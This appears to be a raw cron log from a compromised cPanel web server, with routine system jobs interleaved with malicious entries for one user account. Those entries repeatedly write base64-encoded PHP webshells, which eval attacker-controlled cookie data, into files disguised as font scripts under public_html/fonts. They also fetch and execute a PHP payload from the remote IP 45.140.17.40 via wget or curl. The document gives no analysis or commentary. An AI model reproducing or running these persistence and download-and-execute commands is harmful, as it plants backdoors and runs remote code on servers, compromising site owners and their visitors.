Sep 20 06:02:01 ip-184-168-122-23 CROND[12236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:02:01 ip-184-168-122-23 CROND[12235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:03:01 ip-184-168-122-23 CROND[12499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:03:01 ip-184-168-122-23 CROND[12500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:03:01 ip-184-168-122-23 CROND[12505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:03:01 ip-184-168-122-23 CROND[12506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:04:01 ip-184-168-122-23 CROND[12770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:04:01 ip-184-168-122-23 CROND[12772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:04:01 ip-184-168-122-23 CROND[12774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:04:01 ip-184-168-122-23 CROND[12775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:04:01 ip-184-168-122-23 CROND[12773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:05:01 ip-184-168-122-23 CROND[13039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:05:01 ip-184-168-122-23 CROND[13040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:05:01 ip-184-168-122-23 CROND[13042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:05:01 ip-184-168-122-23 CROND[13045]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 06:05:01 ip-184-168-122-23 CROND[13047]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:05:01 ip-184-168-122-23 CROND[13048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:05:01 ip-184-168-122-23 CROND[13049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:06:01 ip-184-168-122-23 CROND[13386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:06:01 ip-184-168-122-23 CROND[13385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:06:01 ip-184-168-122-23 CROND[13388]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:06:01 ip-184-168-122-23 CROND[13391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:06:01 ip-184-168-122-23 CROND[13392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:07:01 ip-184-168-122-23 CROND[13646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:07:01 ip-184-168-122-23 CROND[13647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:07:01 ip-184-168-122-23 CROND[13648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:07:01 ip-184-168-122-23 CROND[13650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:08:01 ip-184-168-122-23 CROND[13917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:08:01 ip-184-168-122-23 CROND[13919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:08:01 ip-184-168-122-23 CROND[13920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:08:01 ip-184-168-122-23 CROND[13921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:08:01 ip-184-168-122-23 CROND[13922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:09:01 ip-184-168-122-23 CROND[14179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:09:01 ip-184-168-122-23 CROND[14181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:09:01 ip-184-168-122-23 CROND[14182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:09:01 ip-184-168-122-23 CROND[14180]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 06:09:01 ip-184-168-122-23 CROND[14185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:10:01 ip-184-168-122-23 CROND[14474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:10:01 ip-184-168-122-23 CROND[14480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:10:01 ip-184-168-122-23 CROND[14479]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 06:10:01 ip-184-168-122-23 CROND[14481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:10:01 ip-184-168-122-23 CROND[14478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 06:10:01 ip-184-168-122-23 CROND[14485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:10:01 ip-184-168-122-23 CROND[14486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:10:01 ip-184-168-122-23 CROND[14484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 06:11:02 ip-184-168-122-23 CROND[14807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:11:02 ip-184-168-122-23 CROND[14812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:11:02 ip-184-168-122-23 CROND[14811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:11:02 ip-184-168-122-23 CROND[14813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:12:01 ip-184-168-122-23 CROND[15160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:12:01 ip-184-168-122-23 CROND[15161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:12:01 ip-184-168-122-23 CROND[15166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:12:01 ip-184-168-122-23 CROND[15165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:12:01 ip-184-168-122-23 CROND[15164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:13:01 ip-184-168-122-23 CROND[15416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 06:13:01 ip-184-168-122-23 CROND[15417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 06:13:01 ip-184-168-122-23 CROND[15418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:13:01 ip-184-168-122-23 CROND[15415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:14:01 ip-184-168-122-23 CROND[15695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 06:14:01 ip-184-168-122-23 CROND[15698]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 06:14:01 ip-184-168-122-23 CROND[15699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 06:14:01 ip-184-168-122-23 CROND[15697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
